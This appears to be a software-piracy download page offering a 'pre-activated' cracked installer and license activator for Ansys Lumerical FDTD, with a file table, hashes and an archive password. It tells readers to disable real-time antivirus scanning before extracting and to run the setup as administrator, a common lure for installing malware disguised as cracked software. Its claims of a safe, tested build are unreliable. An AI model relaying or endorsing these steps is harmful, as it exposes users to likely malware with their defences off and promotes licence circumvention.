Updated & Tested Working Guide (2026)
Download the latest full build, offline installer and license activator safely.
Download Installer Package| File Name | Ansys_Lumerical_FDTD_v10.5_x64_setup.zip |
| Version | v10.5.3852 build 15394 |
| File Size | 3.21 GB (3292 MB) |
| MD5 Hash | 8a3a0ac984014a5f676cc8d59433ccb1 |
| SHA-256 | f77a39a722654aba86ffdba5ea208411d488e6da77612d42dc7d5602774c2fe3 |
| Release Date | 2026-02-15 |
| Platform | Windows 11 (x64) / Windows Server 2022 |
| Archive Password | verified |
| License Type | Pre-Activated |
With our updated distribution package for Ansys Lumerical FDTD full activated version, users can deploy professional-grade software without licensing interruptions. Make sure to disable real-time antivirus scanning before extracting the archive, then run the setup as administrator.